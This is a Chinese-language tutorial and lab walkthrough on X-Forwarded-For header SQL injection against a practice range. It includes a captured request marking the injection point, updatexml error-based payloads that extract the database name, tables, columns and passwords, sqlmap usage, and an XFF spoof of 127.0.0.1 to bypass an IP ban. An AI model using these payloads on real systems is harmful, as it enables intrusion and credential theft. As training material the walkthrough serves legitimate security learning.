XFF是什么?

X-Forwarded-For:简称XFF,是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。它代表客户端,也就是HTTP的请求端真实的IP,(通常一些网站的防注入功能会记录请求端真实IP地址并写入数据库or某文件[通过修改XXF头可以实现伪造IP])。
HTTP头文件里的X-Forwarded-For和Clien-IP一样都是获取访问者真实IP的语句。

XFF注入

XFF注入属于HTTP头注入的一部分。其他HTTP头注入点还有UA(User-Agent)、Referer、Cookie、Host。
该注入原理是通过修改X-Forwarded-For头对带入系统的dns进行sql注入,从而得到网站的数据库内容。
那么为什么会产生XFF注入呢?因为一些网站的防注入功能会记录请求端真实IP地址写入数据库或某文件

练习


在墨者学院XFF注入靶场可以练手
登陆抓包:
POST /index.php HTTP/1.1
Host: 219.153.49.228:46109
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Accept-Language:xml zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
Content-Length: 29
Connection: close
X-Forwarded-for: *
Upgrade-Insecure-Requests: 1

username=admin&password=admin

手动报错注入

数据库名

1’ and updatexml(1,concat(0x7e,database(),0x7e),1), ‘

表名

1’ and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),1)), ‘

字段/列名

1’ and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’logins’ limit 0,1),0x7e),1)), ‘

具体内容

1’ and updatexml(1,concat(0x7e,(select password from logins),0x7e),1)), ‘

sqlmap


手动添加X-Forwarded-for:
注意点:在XFF后面添加
能让sqlmap重点扫描,另外XFF和下面Body中的user=admin之间必须隔开一行(因为XFF属于head头,POST参数属于Body体),否则会报错。
使用sqlmap即可跑出。
发现随意输入用户名密码后被禁止IP,正确用户名:admin,密码:test123怎么才能绕过IP检测?
XFF注入 - 图1
如图手动添加一个X-Forwarded-For:127.0.0.1。让目标认为是自身IP从而得到flag。